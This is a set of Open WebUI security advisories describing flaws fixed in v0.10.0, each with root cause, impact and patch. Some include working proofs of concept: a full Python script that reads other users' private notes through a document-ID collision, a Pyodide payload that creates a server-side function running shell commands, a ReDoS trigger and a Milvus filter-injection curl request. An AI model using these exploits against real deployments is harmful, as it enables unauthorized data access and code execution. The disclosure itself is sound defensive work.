The reporter's exploit.py reproduced on ghcr.io/open-webui/open-webui:0.9.6 and a build of the v0.9.6 tag, confirming blind server-side RCE out-of-band (callback returns uid=0(root)), using only a low-privilege user account that shared a note with an admin victim. Preconditions: code interpreter enabled; attacker shares a note with the victim; victim opens it while online; admin victim required for server RCE.
Fix
geteventcall must verify the target session belongs to the requesting user before delivering, not merely that it is connected:
python session = SESSIONPOOL.get(sessionid) if session is None or session.get('id') != requestinfo.get('userid'): return {'error': 'Client session disconnected.'}
userid in the request metadata is server-derived from the authenticated user, so it is trustworthy. Restricting ydoc:document:join so it does not disclose other participants' socket ids is recommended as defence-in-depth.
Affected / Patched
- Affected: < 0.10.0 (last affected release 0.9.6) - Patched: v0.10.0. geteventcall now verifies the target session belongs to the requesting user before delivering (session is None or session.get('id') != requestinfo.get('userid')), using the server-derived userid from the request metadata. The recommended ydoc:document:join sid-disclosure restriction is defence-in-depth and independent of this fix; the ownership check closes the cross-user delivery regardless of whether the victim's sid is known.
Summary
With Redis configured, Open WebUI supports JWT revocation: POST /api/v1/auths/signout (per-token jti) and OIDC back-channel logout (per-user revokedat) record revocations in Redis, and HTTP auth (getcurrentuser) rejects revoked tokens with 401. The realtime authentication surfaces do not perform this check: Socket.IO connect / user-join / join-channels / join-note and the terminal websocket first-message auth validate tokens with decodetoken() only (signature + expiry). A JWT revoked by sign-out or back-channel logout therefore continues to authenticate new realtime connections, even though the same token is rejected on HTTP.
Affected component
- backend/openwebui/socket/main.py — Socket.IO connect, user-join, join-channels, join-note - backend/openwebui/routers/terminals.py — terminal websocket first-message auth - backend/openwebui/utils/auth.py — the revocation check was applied to HTTP only
Root cause
HTTP auth enforces revocation:
python utils/auth.py — getcurrentuser if data.get('jti') and not await isvalidtoken(request, data): raise HTTPException(statuscode=401, detail='Invalid token')
Realtime auth calls decodetoken() only, which verifies signature + expiry but never consults the Redis revocation keys ({prefix}:auth:token:{jti}:revoked, {prefix}:auth:user:{id}:revokedat):
python socket/main.py — connect / user-join / join-channels / join-note data = decodetoken(auth['token']) routers/terminals.py — resolveauthenticatedconnection data = decodetoken(token)
Impact
A JWT revoked by user sign-out or OIDC back-channel logout still authenticates new realtime connections. A stolen token therefore retains realtime access after the victim signs out or the IdP performs back-channel logout — the very remediation for a compromised token. The token can populate SESSIONPOOL as the victim, join their user/channel/note rooms (receiving realtime channel messages, collaborative-note updates and presence), drive socket-level collaboration as the victim, and pass terminal websocket authentication when terminal servers are configured. HTTP remains correctly protected (401), so REST data and state-changing REST endpoints are not reachable with the revoked token.
Proof of Concept
Reporter PoC on a Redis-backed deployment (v0.9.6 and main): after POST /api/v1/auths/signout, HTTP returns 401 for the token while a Socket.IO user-join with the same token still authenticates, and the terminal WS reaches terminal-server lookup rather than rejecting it as Invalid token.
Fix
Apply the revocation check on the realtime paths. The logic is factored into istokenrevoked(redis, decoded) (covering per-token jti and per-user revokedat); the Socket.IO handlers and the terminal WS reject tokens that fail it, using the main app Redis where revocations are stored. HTTP isvalidtoken delegates to the same helper, so HTTP behaviour is unchanged.
Affected / Patched
- Affected: >= 0.9.0, < 0.10.0, and only when Redis is configured (without Redis, per-token revocation is not supported and sign-out does not invalidate JWTs by design). - Patched: v0.10.0. The revocation check (isvalidtoken, covering per-token jti and per-user revokedat) is applied on Socket.IO connect / user-join / join-channels / join-note and the terminal websocket first-message auth, using the main app Redis where revocations are stored. HTTP isvalidtoken delegates to the same logic, so HTTP behaviour is unchanged.
Summary
The Socket.IO server is configured with alwaysconnect=True (lines 78, 91 in backend/openwebui/socket/main.py) and the connect handler (line 329) never rejects unauthenticated connections. Two Ydoc event handlers have zero authentication checks, allowing unauthenticated clients to interact with collaborative document sessions.
Vulnerable Code
ydoc:awareness:update (line 741) — No auth check at all python @sio.on('ydoc:awareness:update') async def yjsawarenessupdate(sid, data): documentid = data['documentid'] userid = data.get('userid', sid) update = data['update'] # No SESSIONPOOL check, no room membership check await sio.emit( 'ydoc:awareness:update', {'documentid': documentid, 'userid': userid, 'update': update}, room=f'doc{documentid}', skipsid=sid, )
ydoc:document:leave (line 711) — No auth check at all python @sio.on('ydoc:document:leave') async def yjsdocumentleave(sid, data): documentid = data['documentid'] userid = data.get('userid', sid) # No auth check await YDOCMANAGER.removeuser(documentid=documentid, userid=sid) await sio.emit('ydoc:user:left', {'documentid': documentid, 'userid': userid}, room=f'doc{documentid}')
Root Cause: alwaysconnect=True (line 78) python sio = socketio.AsyncServer( alwaysconnect=True, # Never rejects connections ... )
The connect handler (line 329) adds authenticated users to SESSIONPOOL but never returns False or raises an exception for unauthenticated connections.
Exploitation
1. An unauthenticated attacker connects via Socket.IO (no token needed) 2. The attacker emits ydoc:awareness:update with: - documentid: a known/guessed note UUID (format: note:{uuid}) - userid: spoofed to impersonate any user - update: arbitrary awareness data (fake cursor positions, selections) 3. The fake awareness data is broadcast to all legitimate users in the document room 4. The attacker can also emit ydoc:document:leave with spoofed userid to broadcast fake ydoc:user:left events
Impact
- UI disruption: Fake cursor positions and user presence in collaborative editing sessions - User impersonation: Attacker can spoof any userid in awareness updates - Resource exhaustion: Unlimited unauthenticated WebSocket connections maintained by the server
Note: Other Ydoc handlers (ydoc:document:join, ydoc:document:update, ydoc:document:state) correctly check SESSIONPOOL membership.
Suggested Fix
1. Set alwaysconnect=False or reject unauthenticated connections in the connect handler 2. Add SESSIONPOOL checks to ydoc:awareness:update and ydoc:document:leave 3. Add room membership verification before broadcasting to document rooms
---
AI Disclosure (per Rule 11): AI (Claude) was used to assist with source code review, identifying potential vulnerability patterns, and drafting this report. The researcher directed the analysis, selected focus areas, and independently verified all findings against a running v0.8.12 Docker instance using real HTTP requests with two test accounts. The PoCs included are reproducible and were confirmed live before submission.
Summary Two regexes in backend/openwebui/utils/middleware.py that parse <$skillId|label> skill-mention tags backtrack in O(n²) on input that contains <$ followed by a long run with no closing >. Both run synchronously, on the asyncio event loop, on every chat completion with no feature gate. Because the default deployment is a single uvicorn worker, one such input pins a CPU core inside re and freezes the entire instance for all users until the worker is killed. Any authenticated user can trigger it with one chat message; it also fires accidentally on benign retrieved content (a RAG chunk or tool output) containing the pattern.
Affected versions >= 0.9.2, < 0.10.0. Fixed in v0.10.0 (there is no 0.9.7 release). - SKILLMENTIONRE (the extract pattern) has been O(n²) since v0.9.2; exploitable on 0.9.2–0.9.5 with a large input (hundreds of KB). - v0.9.6 added a second, far more aggressive O(n²) in the strip pattern (introduced by the "keep label as readable text" change), so on 0.9.6 a small input is enough to hang the instance.
Both are fixed by the same patch.
Affected component backend/openwebui/utils/middleware.py (line numbers as of v0.9.6):
python line 2223 — used by extractskillidsfrommessages(), called unconditionally (~line 2625) SKILLMENTIONRE = re.compile(r'<\$([^|>]+)\|?[^>]>')
line 2247 — used by stripskillmentions(), called unconditionally (line 2662) stripre = re.compile(r'<\$[^|>]+\|?([^>])>')
extractskillidsfrommessages() runs before the if allskillids: block (that guard gates only skill injection, not the regex), and stripskillmentions() runs with no guard at all. Neither requires a skill to exist or any setting to be enabled. Both functions are plain synchronous calls inside the async processchatpayload coroutine, so they block the event loop; with the default UVICORNWORKERS=1 (backend/start.sh) the whole instance stalls.
Root cause [^|>] is a subset of [^>], so the quantifier pair [^|>]+ \|? [^>] is ambiguous: on input that never closes with >, [^|>]+ greedily consumes the tail, > fails, and the engine backtracks through every split point between [^|>]+ and [^>] — O(n) positions each doing O(n) work. Polynomial, not exponential, but more than enough to hang a single worker on a ~100 KB input.
Proof of concept Standalone (no Open WebUI required):
python import re, time EXTRACT = re.compile(r'<\$([^|>]+)\|?[^>]>') STRIP = re.compile(r'<\$[^|>]+\|?([^>])>') for n in (8000, 16000, 32000, 64000): s = '<$' + ('a' n) for name, rx in (('extract', EXTRACT), ('strip', STRIP)): t = time.perfcounter(); rx.search(s) print(f'n={n:>6} {name:>7} = {(time.perfcounter()-t)1000:8.1f} ms')
Time quadruples per doubling of n (textbook O(n²)); the strip pattern runs for ~6 seconds on a 64k blob and for minutes on a ~96 KB one.
End-to-end against a live instance (default config): 1. docker run ghcr.io/open-webui/open-webui:v0.9.6 on defaults. 2. Log in as any user (no admin or skill setup). 3. Send a chat message containing <$ followed by 50k+ characters with no >. 4. One CPU core pegs in re; UI and API stop responding for every user until the worker is killed.
Patch Rewrite the optional |label as a non-capturing optional group so the two quantifiers no longer overlap. Both patterns become linear; captures and substituted output are unchanged on well-formed <$id|label>, <$id|>, and bare <$id> mentions.
python SKILLMENTIONRE = re.compile(r'<\$([^|>]+)(?:\|[^>])?>') stripre = re.compile(r'<\$[^|>]+(?:\|([^>]))?>')
After the patch the same hostile input returns in under 1 ms. Shipped in v0.10.0.
Credit Reported by @Vlad-WKG, including a correct root-cause analysis and patch.
Title: Scheduled automations continue after pending-user deactivation and stored model ACL revocation
Summary
Open WebUI documents pending as a zero-access role used for new sign-ups and deactivated users, and normal HTTP routes enforce that with getverifieduser() (which rejects pending), while automation create/update/run routes additionally require the features.automations permission. Two paths missed that lifecycle gate, so a deactivated (pending) account could keep acting through the background automation scheduler:
1. Scheduler did not re-gate the owner. When a stored automation became due, executeautomation() rehydrated the owner with Users.getuserbyid(...) and re-entered the chat completion pipeline without re-checking that the owner was still user/admin or still held features.automations. A still-active automation therefore kept running after its owner was deactivated. 2. Model ACL only enforced for exact role user. checkmodelaccess() applied private-model grants only when user.role == "user", so a pending principal fell through a branch that denies a normal non-owner user.
Net effect: a deactivated account could continue scheduled chat generation through the background worker, consuming the operator's configured model-provider credentials and reaching a stored automation model ID that its current role/ACL state would no longer permit through normal routes.
Impact
A pending/deactivated account continues to execute due scheduled automations after its access has been revoked, consuming the operator's provider credentials, quota and shared capacity, and bypassing the private-model ACL for the automation's stored model ID. Exploitation requires a previously created active automation and a later transition to pending (deactivation or approval rollback), so it is bounded and not interactive. It does not grant unauthenticated access, account takeover, code execution, or cross-user data exfiltration.
Patched
In 0.10.0:
- executeautomation() aborts and records an error unless the rehydrated owner is still user or admin and (for non-admins) still holds features.automations, so a deactivated or de-permissioned owner's due automation no longer runs. - checkmodelaccess() enforces model ACLs for every non-admin role rather than only the exact role user, so a pending or otherwise unrecognised role no longer falls through.
Credits
@rexpository
Summary
POST /api/v1/images/edit performed no authorization beyond requiring a verified account. Every other image-editing surface in Open WebUI enforces the global image-edit switch and the per-user image-generation permission — the /api/v1/images/generations route, the built-in editimage tool, and the chat image-edit middleware — but the direct edit route enforced neither. A verified non-admin user could therefore invoke server-side image editing, reaching the configured image-edit provider with the administrator's credentials, even when the administrator had globally disabled image editing (ENABLEIMAGEEDIT=False) or denied that user image-generation permission. The image-editing UI is surfaced only to administrators (Playground), so the route additionally exposed an admin-only capability to any verified user.
Impact
An authenticated, non-admin user can:
- bypass the global ENABLEIMAGEEDIT=False administrator control; - bypass a denied per-user/group features.imagegeneration permission; - cause the server to send billable image-edit requests to the configured provider (OpenAI-compatible, Gemini, or ComfyUI) using administrator-configured credentials (IMAGESEDITOPENAIAPIKEY for the OpenAI engine).
No cross-user data is exposed and the provider credentials are never returned to the caller; the impact is the control/permission bypass and the associated billable resource consumption.
Affected Versions
>= 0.8.11, < 0.10.0 (the /api/v1/images/edit route was introduced in 0.8.11 and was ungated from the outset). Fixed in v0.10.0.
Details
/api/v1/images/generations enforces ENABLEIMAGEGENERATION (403 if globally disabled) and features.imagegeneration (403 for non-admins without the permission). The editimage built-in tool and the chat image-edit middleware likewise gate on ENABLEIMAGEEDIT and features.imagegeneration. The direct POST /api/v1/images/edit route ran on Depends(getverifieduser) alone and proceeded straight to provider dispatch, applying none of these controls.
Proof of Concept
As a verified non-admin user, with image editing globally disabled (ENABLEIMAGEEDIT=False) or features.imagegeneration denied for the user:
http POST /api/v1/images/edit Authorization: Bearer <nonadminusertoken> Content-Type: application/json
{"image":"data:image/png;base64,<png>","prompt":"edit","model":"gpt-image-1"}
The request reaches the configured image-edit provider and returns an edited image despite the disabled control/permission.
Patch
The direct route is split from its shared implementation (mirroring generateimages/imagegenerations): a thin /edit route now enforces ENABLEIMAGEEDIT and the per-user features.imagegeneration permission before delegating to the shared imageedits() implementation. The internal callers (the editimage tool and the chat middleware) call the implementation directly and already gate themselves, so they are unaffected.
Summary
The /api/v1/auths/signin endpoint leaked whether an email address belonged to a registered account through a response-time side channel. Password verification ran bcrypt only when the email was found in the database; for a non-existent email the request returned early without hashing. The expensive bcrypt comparison therefore made valid-account attempts respond significantly slower (~180 ms) than non-existent ones (~5 ms), so an unauthenticated attacker could enumerate valid accounts by measuring response time.
Details
On signin the backend looked the user up by email and only performed the bcrypt password comparison if a record existed. A missing email short-circuited before any hashing, producing the timing gap. The built-in brute-force throttling did not prevent it: sending one request at a time with a small delay between requests stays under the rate limit while still exposing the difference.
Observed in the reporter's run (HTTP 400 for every attempt, the response time is the signal):
Email Status Response time joe@example.com 400 186 ms <- valid account larry@example.com 400 9 ms jose@example.com 400 6 ms james@example.com 400 5 ms
Impact
An unauthenticated attacker can enumerate which email addresses are registered accounts, which enables targeted password-spraying against confirmed accounts. The impact is amplified by MFA not being enabled by default. No data is read or modified; the disclosure is limited to account existence.
Patched
The authentication path now runs a bcrypt verification against a constant placeholder hash whenever the email does not resolve to an active credential, so a real hash comparison executes on every attempt and the response time is the same whether or not the account exists. Fixed in 0.10.0.
Credits
@dievus
Title: Same-origin Pyodide code execution allows server-side RCE via a shared chat
Summary
Open WebUI runs client-side Python (Pyodide) in a same-origin web worker. Through Pyodide's JavaScript API (pyodide.http.pyfetch, or the js module which exposes the page's fetch / XMLHttpRequest) executed Python can issue requests on the application origin, and those requests carry the victim's session cookie. A low-privileged user can store such a payload in a chat message, share the chat, and when a victim opens it and clicks Run the payload executes authenticated same-origin requests as the victim. When the victim is an admin (or a user holding workspace.functions / workspace.tools permissions) the payload creates a Function/Tool whose body runs server-side, yielding remote code execution.
Details
Pyodide's js bridge gives Python in the worker the same reach as inline JavaScript on the origin, and the worker is same-origin, so a credentialed request to the app's own API is authenticated as the victim. No separate XSS sink is required: storing the payload in a shared chat and having the victim run it is enough.
python from pyodide.http import pyfetch import json await pyfetch('/api/v1/functions/create', method='POST', credentials='include', headers={'Content-Type': 'application/json'}, body=json.dumps({'id': 'x', 'name': 'x', 'meta': {'description': 'x'}, 'content': "import os; os.system('<attacker command>')"}))
Impact
When the victim runs the shared code, an authenticated low-privileged user achieves remote code execution on the server (the created Function/Tool runs server-side Python) if the victim is an admin or holds workspace.functions / workspace.tools permissions. More generally the executed code can issue any authenticated request as the victim. Requires the victim to click Run, and Open WebUI configured to use Pyodide.
Patched
Pyodide now runs in a sandboxed iframe at an opaque origin by default (sandbox="allow-scripts", no allow-same-origin). At an opaque origin pyfetch, fetch and XMLHttpRequest to the app become cross-origin requests that carry no session cookie and are CORS-blocked, and the js bridge operates on the isolated iframe window with no access to the parent's cookie, token, localStorage or DOM. Full Python, JavaScript and external fetch keep working. IDBFS persistence is available only behind ENABLEPYODIDEFILEPERSISTENCE=true, which restores the same-origin worker and re-accepts this risk.
Workaround
Until upgraded, disable Pyodide code execution or set the Code Execution / Code Interpreter engine to a server-side option.
Credits
@gg0h
Summary
The ydoc:document:join Socket.IO handler checks note ownership only when the documentid starts with note: (colon). However, the YdocManager storage layer normalizes all document IDs by replacing colons with underscores (documentid.replace(":", "")). An attacker can join a document room using note<id> (underscore) instead of note:<id> (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.
Details
The ydoc:document:join handler in socket/main.py (line 511) only performs authorization for document IDs matching the note: prefix:
python @sio.on("ydoc:document:join") async def ydocdocumentjoin(sid, data): documentid = data["documentid"]
if documentid.startswith("note:"): noteid = documentid.split(":")[1] note = Notes.getnotebyid(noteid) # ... ownership and AccessGrants check ... # Returns early if user doesn't have access
# If documentid does NOT start with "note:", execution continues # with no authorization check at all
await YDOCMANAGER.adduser(documentid=documentid, userid=sid) await sio.enterroom(sid, f"doc{documentid}")
ydoc = Y.Doc() updates = await YDOCMANAGER.getupdates(documentid) for update in updates: ydoc.applyupdate(bytes(update))
stateupdate = ydoc.getupdate() await sio.emit("ydoc:document:state", { "documentid": documentid, "state": list(stateupdate), }, room=sid)
The YdocManager class in socket/utils.py normalizes document IDs in every method by replacing colons with underscores:
python async def getupdates(self, documentid: str) -> List[bytes]: documentid = documentid.replace(":", "") # line 176 # ... returns updates keyed by normalized ID
async def appendtoupdates(self, documentid: str, update: bytes): documentid = documentid.replace(":", "") # line 134 # ... stores update keyed by normalized ID
This means note:abc123 and noteabc123 resolve to the same storage key (noteabc123). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the startswith("note:") authorization check but retrieves the same data from YdocManager.
PoC
python #!/usr/bin/env python3 """ uv run --no-project --with requests --with "python-socketio[asyncioclient]" --with aiohttp --with pycrdt finding15yjsnotedisclosure.py --base-url BASEURL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS
Finding #15 — Any authenticated user can read other users' private notes via Socket.IO
SUMMARY: The ydoc:document:join Socket.IO handler only checks authorization for document IDs starting with "note:" (colon). However, YdocManager normalizes document IDs by replacing colons with underscores internally. An attacker can join a room using "note<id>" (underscore) to bypass the auth check, while still accessing the same underlying Yjs document as "note:<id>". Then ydoc:document:state returns the full document content.
VULNERABLE CODE: backend/openwebui/socket/main.py, ydoc:document:join: if documentid.startswith("note:"): # permission check only for colon-prefix # "note<id>" skips this check entirely
backend/openwebui/socket/ydoc.py, YdocManager: key = documentid.replace(":", "") # normalizes to same storage key
IMPACT: Any authenticated user can read the full content of any other user's notes by exploiting the namespace collision between "note:" and "note" prefixes.
REPRODUCTION: 1. Victim creates a private note with sensitive content. 2. Attacker connects via Socket.IO and authenticates. 3. Attacker joins room with documentid "note<victimnoteid>" (underscore). 4. Attacker requests ydoc:document:state to get the full note content.
REQUIREMENTS: - Running Open WebUI instance - A victim note with content - Attacker user (any authenticated user) """
import argparse import asyncio import sys import requests import socketio
async def victiminitializenote(base, victimtoken, noteid): """Simulate victim opening the note in the UI to initialize the Yjs document.""" sio = socketio.AsyncClient()
await sio.connect( base, socketiopath="/ws/socket.io", headers={"Authorization": f"Bearer {victimtoken}"}, transports=["websocket"], )
# Join using the proper note:id format (passes auth check since victim owns it) docid = f"note:{noteid}" print(f" Joining as victim with documentid: {docid}")
await sio.emit("ydoc:document:join", { "documentid": docid, "userid": "victim", "username": "Victim", }) await asyncio.sleep(1)
# Send a Yjs update with the note content # Create a simple Yjs document with text content try: import pycrdt as Y ydoc = Y.Doc() ytext = ydoc.get("default", type=Y.Text) with ydoc.transaction(): ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rdpr0d2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone." update = ydoc.getupdate()
await sio.emit("ydoc:document:update", { "documentid": docid, "update": list(update), }) print(f" Sent Yjs update with note content ({len(update)} bytes)") except ImportError: # If pycrdt not available, try y-py try: import ypy as Y ydoc = Y.YDoc() ytext = ydoc.gettext("default") with ydoc.begintransaction() as txn: ytext.extend(txn, "# Private Notes\n\nPassword for production DB: p@ssw0rdpr0d2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone.") update = txn.getupdate()
await sio.emit("ydoc:document:update", { "documentid": docid, "update": list(update), }) print(f" Sent Yjs update with note content ({len(update)} bytes)") except ImportError: print(" WARNING: Neither pycrdt nor y-py available, sending raw text marker") # Send a minimal marker that we can detect rawupdate = list(b"\x01\x00\x00\x00\x00\x00\x00SECRETNOTECONTENTMARKER") await sio.emit("ydoc:document:update", { "documentid": docid, "update": rawupdate, })
await asyncio.sleep(1) await sio.disconnect() print(f" Victim disconnected")
async def exploit(base, attackertoken, victimnoteid): sio = socketio.AsyncClient() result = {"state": None, "error": None, "joined": False}
@sio.on("ydoc:document:state") async def onstate(data): result["state"] = data print(f" [!] Received ydoc:document:state event!") print(f" documentid: {data.get('documentid', '?')}") state = data.get("state", []) print(f" State size: {len(state)} bytes")
@sio.on("error") async def onerror(data): result["error"] = data print(f" [!] Error event: {data}")
@sio.on("") async def catchall(event, data): if event not in ("ydoc:document:state", "error"): print(f" [debug] Event: {event} Data: {str(data)[:200]}")
# Connect with auth token print(f"[] Connecting as attacker to Socket.IO...") await sio.connect( base, socketiopath="/ws/socket.io", auth={"token": attackertoken}, transports=["websocket"], )
# Join with "note" prefix (underscore — bypasses auth) bypassdocid = f"note{victimnoteid}" print(f"\n[] Step 3: Joining room with bypassed documentid: {bypassdocid}") print(f" (using underscore instead of colon to skip auth check)")
await sio.emit("ydoc:document:join", { "documentid": bypassdocid, "userid": "attacker", "username": "Attacker", })
result["joined"] = True
# Wait for state response (from join handler's emit) for in range(20): await asyncio.sleep(0.5) if result["state"]: break
await sio.disconnect() return result
def main(): parser = argparse.ArgumentParser(description="Finding #15: Yjs note disclosure via namespace collision") parser.addargument("--base-url", required=True) parser.addargument("--attacker-email", required=True) parser.addargument("--attacker-password", required=True) parser.addargument("--victim-email", required=True) parser.addargument("--victim-password", required=True) args = parser.parseargs()
base = args.baseurl.rstrip("/")
# ── Step 1: Login as victim and find their note ── print("[] Authenticating as victim...") r = requests.post(f"{base}/api/v1/auths/signin", json={"email": args.victimemail, "password": args.victimpassword}) if not r.ok: print(f"[-] Victim login failed: {r.statuscode}") sys.exit(1) victimtoken = r.json()["token"] victimid = r.json()["id"] print(f"[+] Logged in as victim (id={victimid})")
r = requests.get(f"{base}/api/v1/notes/", headers={"Authorization": f"Bearer {victimtoken}"}) if not r.ok: print(f"[-] Failed to list victim notes: {r.statuscode}") sys.exit(1) notes = r.json() if isinstance(notes, dict): notes = notes.get("items", notes.get("data", [])) if not notes: print("[-] No victim notes found") sys.exit(1) victimnote = notes[0] victimnoteid = victimnote["id"] print(f"[+] Victim's note: {victimnote.get('title', '?')} (id={victimnoteid})")
# ── Step 2: Login as attacker ── print(f"\n[] Authenticating as attacker...") r = requests.post(f"{base}/api/v1/auths/signin", json={"email": args.attackeremail, "password": args.attackerpassword}) if not r.ok: print(f"[-] Attacker login failed: {r.statuscode}") sys.exit(1) attackertoken = r.json()["token"] attackerid = r.json()["id"] print(f"[+] Logged in as attacker (id={attackerid})")
# ── Step 3: Confirm attacker CANNOT read victim's note via API ── print(f"\n[] Step 1: Confirming attacker cannot read victim's note via API...") r = requests.get(f"{base}/api/v1/notes/{victimnoteid}", headers={"Authorization": f"Bearer {attackertoken}"}) if r.statuscode in (401, 403, 404): print(f"[+] Access correctly DENIED via /api/v1/notes/{victimnoteid} (HTTP {r.statuscode})") else: print(f"[!] Unexpected: attacker can read note (status {r.statuscode})")
# ── Step 4 & 5: Victim opens note, attacker reads it concurrently ── async def combinedexploit(): # Victim opens note and stays connected print(f"\n[] Step 2: Victim opens note (stays connected)...") victimsio = socketio.AsyncClient() await victimsio.connect( base, socketiopath="/ws/socket.io", auth={"token": victimtoken}, transports=["websocket"], ) docid = f"note:{victimnoteid}" await victimsio.emit("ydoc:document:join", { "documentid": docid, "userid": "victim", "username": "Victim", }) await asyncio.sleep(1)
# Send Yjs update with note content try: import pycrdt as Y ydoc = Y.Doc() ytext = ydoc.get("default", type=Y.Text) with ydoc.transaction(): ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rdpr0d2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone." update = ydoc.getupdate() await victimsio.emit("ydoc:document:update", { "documentid": docid, "update": list(update), }) print(f" Sent Yjs update ({len(update)} bytes)") except Exception as e: print(f" WARNING: Could not create Yjs update: {e}")
await asyncio.sleep(1)
# Now attacker joins while victim is still connected result = await exploit(base, attackertoken, victimnoteid)
# Clean up victim connection await victimsio.disconnect() return result
result = asyncio.run(combinedexploit())
if not result["joined"]: print(f"\n[-] Failed to join document room") sys.exit(1)
if result["state"]: statedata = result["state"] statebytes = bytes(statedata.get("state", []))
# Try to extract readable text from the Yjs state # Yjs binary format contains the text as embedded strings textcontent = "" try: # Search for readable ASCII strings in the binary data currentstr = "" for b in statebytes: if 32 <= b < 127: currentstr += chr(b) else: if len(currentstr) > 5: textcontent += currentstr + " " currentstr = "" if len(currentstr) > 5: textcontent += currentstr except Exception: pass
print(f"\n[+] Extracted text from Yjs state:") print(f" {textcontent[:500]}")
# Check for sensitive markers sensitivemarkers = ["p@ssw0rd", "SuperSecret", "Private Notes", "production DB", "AWS root"] found = [m for m in sensitivemarkers if m.lower() in textcontent.lower()]
if found: print(f"\n[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!") print(f" Sensitive markers found: {found}") print(f" The attacker joined room 'docnote{victimnoteid}' (underscore)") print(f" which bypasses the auth check (only checks 'note:' colon prefix)") print(f" but accesses the same Yjs document due to normalization.") sys.exit(0) elif textcontent.strip(): print(f"\n[+] SUCCESS: Note content retrieved (markers may differ)") print(f" Non-empty Yjs state was returned for victim's note.") sys.exit(0) else: print(f"\n[] Yjs state was returned but could not extract readable text.") print(f" Raw state size: {len(statebytes)} bytes") if len(statebytes) > 10: print(f" First 50 bytes: {list(statebytes[:50])}") print(f"[+] SUCCESS: Non-trivial document state returned") sys.exit(0) sys.exit(1) else: print(f"\n[-] No document state received") print(f" The Yjs document may not exist in storage yet.") print(f" Notes must be opened in the UI to create a Yjs document.") sys.exit(1)
if name == "main": main()
Impact
Any authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.
Summary
Several direct, index-addressed Ollama proxy routes accept a caller-supplied urlidx path parameter and use it as a raw index into the admin-configured OLLAMABASEURLS list. Access control on these routes validates only whether the user may use the requested model, never which backend the request is routed to. Any authenticated user can append an arbitrary urlidx to force their request onto an Ollama backend they were never authorized to reach, including internal, higher-privilege, or explicitly admin-disabled backends.
Affected endpoints
All indexed Ollama routes that resolve the backend through getollamaurl():
POST /ollama/api/chat/{urlidx} POST /ollama/api/generate/{urlidx} POST /ollama/api/embed/{urlidx} POST /ollama/api/embeddings/{urlidx} POST /ollama/v1/chat/completions/{urlidx} POST /ollama/v1/completions/{urlidx} POST /ollama/v1/messages/{urlidx} POST /ollama/v1/responses/{urlidx}
Root cause
backend/openwebui/routers/ollama.py — getollamaurl() consults the model-to-backend allow-list (OLLAMAMODELS[model]["urls"]) only when urlidx is omitted. When the caller supplies urlidx, that mapping is skipped and the value is used directly as an index:
python async def getollamaurl(request: Request, model: str, urlidx: Optional[int] = None): if urlidx is None: models = request.app.state.OLLAMAMODELS if model not in models: raise HTTPException(...) urlidx = random.choice(models[model].get("urls", [])) url = request.app.state.config.OLLAMABASEURLS[urlidx] # caller-controlled, no authz return url, urlidx
The outbound request is then sent to that backend using the backend's own configured API key. Backends an admin has disabled (OLLAMAAPICONFIGS["<idx>"].enable = false) are hidden from model discovery but remain reachable through the indexed route, because the disabled state is never re-checked at request time.
Impact
A verified, non-admin user with read access to any single model can: - route requests to internal / higher-capability / restricted Ollama backends in multi-backend deployments, bypassing backend-level isolation; - reach backends the admin has explicitly disabled; - have those requests authenticated with the target backend's configured API key (the key is used server-side; it is not returned to the attacker); - consume the restricted backend's compute.
There is no cross-user data disclosure and no exfiltration of the backend credential itself; the impact is unauthorized access to, and use of, restricted backend resources.
Affected / Patched
- Affected: <= 0.9.5 - Patched: >= 0.9.6
Fix
0.9.6 adds validateollamabackendidx(), invoked on every indexed route (directly and via getollamaurl()), which returns 403 for any non-admin caller-supplied urlidx that is not in the requested model's allowed urls. Because disabled backends are absent from every model's urls, the same check also blocks routing to disabled backends.
RAG ACL Bypass in Milvus Multitenancy Mode
Summary
This is a bypass of the fix for:
- GHSA-h36f-rqpx-j5wx - CVE-2026-44560 - "Unauthorized File and Knowledge Base Content Access via RAG Vector Search"
Open WebUI added collection-level ACL checks, but the patch can still be bypassed when Milvus multitenancy mode is enabled. The ACL allows unknown non-KB collection names as legacy/ephemeral collections. In Milvus multitenancy mode, that user-controlled collection name becomes a resourceid and is interpolated into a Milvus expression without escaping.
An authenticated non-admin user can query:
text x' or resourceid != '' or resourceid == 'x
This passes the Open WebUI ACL as an unknown collection, but Milvus evaluates:
text resourceid == 'x' or resourceid != '' or resourceid == 'x'
That returns private knowledge-base chunks belonging to other users.
Affected Configuration
Tested on:
text Open WebUI: v0.9.5, commit 3660bc00f VECTORDB=milvus ENABLEMILVUSMULTITENANCYMODE=true
This is not a default-vector-store issue. It affects production deployments using Milvus multitenancy.
Impact
An authenticated low-privilege user can read private RAG / knowledge-base content they do not have access to. No victim interaction is required.
Root Cause
ACL permits unknown collection names:
python backend/openwebui/retrieval/utils.py elif not await Knowledges.getknowledgebyid(name): validated.add(name)
Milvus multitenancy then treats the same name as resourceid and builds unsafe expressions:
python backend/openwebui/retrieval/vector/dbs/milvusmultitenancy.py expr=f"{RESOURCEIDFIELD} == '{resourceid}'"
Affected paths include:
text POST /api/v1/retrieval/query/collection POST /api/v1/retrieval/query/doc
PoC
Request:
bash curl -s -X POST "$TARGET/api/v1/retrieval/query/collection" \ -H "Authorization: Bearer $ATTACKERTOKEN" \ -H "Content-Type: application/json" \ --data-binary @- <<'JSON' { "collectionnames": [ "x' or resourceid != '' or resourceid == 'x" ], "query": "anything", "k": 10, "hybrid": false } JSON
Actual result: private chunks from other users' knowledge collections are returned.
Expected result: request should be rejected with 403 or return no unauthorized content.
Remediation
1. Do not allow arbitrary unknown collection names in user-controlled RAG query endpoints. 2. Escape or parameterize Milvus expression values before building filters. 3. Reject collection names containing quotes/control characters unless they match a known internal format. 4. Add a regression test for this payload in Milvus multitenancy mode:
text x' or resourceid != '' or resourceid == 'x
